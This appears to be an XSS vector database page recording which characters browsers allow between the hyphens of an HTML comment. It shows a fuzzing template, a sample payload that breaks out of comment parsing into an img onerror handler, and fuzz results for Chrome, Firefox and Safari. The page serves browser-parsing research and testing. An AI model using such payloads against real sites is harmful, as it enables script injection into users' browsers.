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Characters allowed in-between hyphens

Chrome logo 1
Firefox logo 1
Safari logo 1

This vector shows what characters are allowed in-between hyphens of a HTML comment.

Created by: hackvertor

Created on: Sunday, April 14, 2024 at 4:15:22 PM

Updated on: Wednesday, May 14, 2025 at 8:19:53 AM


Detecting browser...

Category: HTML Parsing

Vector visibility: Public

Vector type: XSS

Vector charset: UTF-8

Template used:
<!-$[chr]- ><xmp>--><img src/onerror=log($[i])>-->

Sample payloads

<!--- ><xmp>--><img src/onerror=alert(45)>-->

Fuzz results

Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7

Updated

Sat Jan 31 2026
Found 1 result
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Chrome logo
Chrome 124.0.0.0 Unknown Unknownolder version

Updated

Mon Apr 29 2024
Found 1 result
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Firefox logo
Firefox 125.0 Unknown Unknown

Updated

Mon Apr 29 2024
Found 1 result
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Safari logo
Safari 17.4.1 Unknown Unknown

Updated

Sun Apr 14 2024
Found 1 result
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